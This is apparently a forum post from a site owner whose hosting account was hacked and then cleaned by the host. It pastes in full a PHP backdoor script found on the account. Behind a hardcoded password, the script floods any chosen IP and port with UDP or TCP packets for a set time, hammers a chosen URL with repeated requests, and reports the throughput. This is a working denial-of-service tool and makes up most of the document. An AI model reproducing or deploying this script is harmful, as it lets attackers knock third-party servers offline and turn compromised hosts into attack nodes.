Alright everything is ok now, they cleared all the files and gave a fresh start. They told I had been hacked into and told me to change all my passwords etc. It's a trustable host after all I think?
<?php
php
if($_REQUEST['pw']!="cracken!"){
echo ".";
return 1;
}
ignore_user_abort(TRUE);
@set_time_limit(0);
if(isset($_GET['type'])){
$schema = $_GET['type'].'://';
}else{
$schema = 'udp://';
}
if(isset($_GET['ip'])&&is_numeric($_GET['time'])&&isset($_GET['port'])){
$exec_time = $_GET['time'];
$max_time = time()+$exec_time;
$host = $_GET['ip'];
if(isset($_GET['data'])){
$f = @fopen($_GET['data'],"r");
if($f){
while($temp = fgets($f,500))
$out .= $temp;
}
}else{
for($i=0;$i<65000;$i++)
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time)
break;
if ($_GET['port'] == "rand")
$rand = rand(1,65000);
else
$rand = $_GET['port'];
$fp = fsockopen($schema.$host, $rand, $errno, $errstr, 5);
if($fp)
fwrite($fp, $out);
fclose($fp);
}
echo "$packets packets (".round((($packets*65)/1024),2) . " MB) @ ".round($packets/$exec_time,2)." pps (".round((($packets*65)/1024)/$exec_time,2)."MBps)";
}elseif(isset($_GET['webreader'])&&is_numeric($_GET['time'])){
$exec_time = $_GET['time'];
$max_time = time()+$exec_time;
while(1){
if(time() > $max_time)
break;
$f = @fopen($_GET['webreader'],"r");
}
echo "Done";
}
?>